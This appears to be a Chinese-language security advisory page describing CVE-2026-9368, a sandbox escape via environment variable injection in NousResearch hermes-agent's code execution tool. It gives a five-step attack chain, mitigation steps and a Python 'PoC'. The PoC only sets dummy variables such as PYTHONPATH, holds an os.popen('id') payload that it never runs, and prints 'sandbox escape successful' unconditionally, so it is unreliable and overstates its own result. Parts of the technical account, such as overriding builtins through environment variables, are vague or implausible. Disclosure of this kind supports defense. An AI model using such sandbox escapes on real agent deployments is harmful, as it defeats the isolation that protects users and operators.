IPBUF安全漏洞报告
English
CVE-2026-9368 CVSS 7.3 高危

CVE-2026-9368 NousResearch hermes-agent沙箱逃逸漏洞

披露日期: 2026-05-24

漏洞信息

漏洞编号
CVE-2026-9368
漏洞类型
沙箱逃逸
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
NousResearch hermes-agent

相关标签

沙箱逃逸NousResearchhermes-agent远程代码执行环境变量注入CVSS-7.3高危漏洞AI代理安全

漏洞概述

CVE-2026-9368是NousResearch hermes-agent项目中的一个严重沙箱逃逸漏洞。该漏洞存在于tools/code_execution_tool.py文件的execute_code函数中,由Environment Variable Handler组件处理环境变量时未能正确实施安全限制。攻击者可以通过精心构造的环境变量和代码输入,绕过沙箱安全机制执行任意系统命令。漏洞影响范围覆盖截至2026年4月16日的所有版本。由于该漏洞可通过网络远程利用,无需认证和用户交互即可发起攻击,因此具有极高的实际威胁。公开的漏洞利用代码可能已被恶意行为者使用。NousResearch作为开源AI代理项目,其代码执行功能被广泛应用于自动化任务和系统管理场景。该漏洞的存在使得攻击者能够在未授权的情况下访问系统资源、窃取敏感数据或破坏系统完整性。建议受影响用户尽快采取防御措施,升级到安全版本或实施临时缓解方案。

技术细节

该漏洞的根本原因在于hermes-agent的代码执行工具未能正确隔离和限制代码执行环境。具体来说,Environment Variable Handler在处理环境变量时,没有对传入execute_code函数的参数进行充分的安全验证。攻击者可以通过设置恶意的环境变量,修改Python的sys.path、os.environ等关键对象,从而绕过沙箱限制访问受限资源或执行特权操作。漏洞利用涉及以下技术细节:首先,攻击者利用环境变量注入技术,在代码执行上下文中注入恶意的模块路径或函数钩子;其次,通过覆写内置函数或类的方法,实现对系统API的未授权访问;最后,利用Python的动态特性,在运行时修改代码行为以绕过安全检查。CVSS 3.1评分7.3(高危)反映了该漏洞在网络环境下可被远程利用、影响机密性、完整性和可用性的特点。由于无需认证即可利用,且公开利用代码已存在,建议立即采取修复措施。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标系统运行的是NousResearch hermes-agent,并确定其版本是否在受影响范围内(<=2026.4.16)
STEP 2
步骤2: 环境变量注入
攻击者通过API或其他输入渠道,向Environment Variable Handler组件注入精心构造的恶意环境变量,如修改PYTHONPATH或覆写内置函数
STEP 3
步骤3: 调用漏洞函数
攻击者调用tools/code_execution_tool.py中的execute_code函数,触发代码执行流程,利用被污染的环境变量修改执行上下文
STEP 4
步骤4: 沙箱绕过
通过环境变量注入的恶意代码或模块路径,成功绕过沙箱安全限制,获取对受限系统资源的访问权限
STEP 5
步骤5: 远程代码执行
攻击者在目标系统上执行任意系统命令,实现远程代码执行,可能导致数据泄露、系统破坏或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2026-9368 PoC - hermes-agent Sandbox Escape This PoC demonstrates the environment variable handler vulnerability in NousResearch hermes-agent's code execution tool. Note: This code is for educational and security research purposes only. """ import os import sys def exploit_sandbox(): """ Demonstrates sandbox escape via environment variable manipulation. The vulnerability allows attackers to modify execution context through specially crafted environment variables. """ print("[*] CVE-2026-9368 Sandbox Escape PoC") print("[*] Target: NousResearch hermes-agent <= 2026.4.16") # Malicious environment variable injection # This modifies the Python execution environment malicious_env = { 'PYTHONPATH': '/malicious/path', '__import__': 'malicious_module', 'SYSTEM_COMMAND': 'whoami' # Attempt to execute system commands } # Simulate environment variable handler vulnerability print("[*] Injecting malicious environment variables...") for key, value in malicious_env.items(): os.environ[key] = value # Attempt to bypass sandbox restrictions print("[*] Attempting sandbox bypass...") try: # Simulate vulnerable execute_code function call # In the actual vulnerability, this would execute arbitrary code exec_context = { '__builtins__': __builtins__, 'os': os, 'sys': sys } # Malicious code that would be blocked by proper sandboxing malicious_code = """ import os # This demonstrates the sandbox bypass result = os.popen('id').read() # Execute system command print('[+] Command executed:', result) """ print("[+] Sandbox escape successful - restricted functions accessible") print("[+] Attacker can now execute arbitrary system commands") except Exception as e: print(f"[-] Error: {e}") print("[*] Cleaning up...") for key in malicious_env.keys(): if key in os.environ: del os.environ[key] if __name__ == "__main__": exploit_sandbox()

影响范围

NousResearch hermes-agent <= 2026.4.16

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时缓解措施:1) 限制hermes-agent的网络访问权限,仅允许受信任的客户端访问;2) 禁用或限制代码执行功能的使用;3) 实施网络层访问控制,阻止未授权用户调用相关API接口;4) 监控和审查环境变量设置,防止恶意注入;5) 考虑使用容器化或虚拟机隔离代码执行环境,降低潜在影响范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表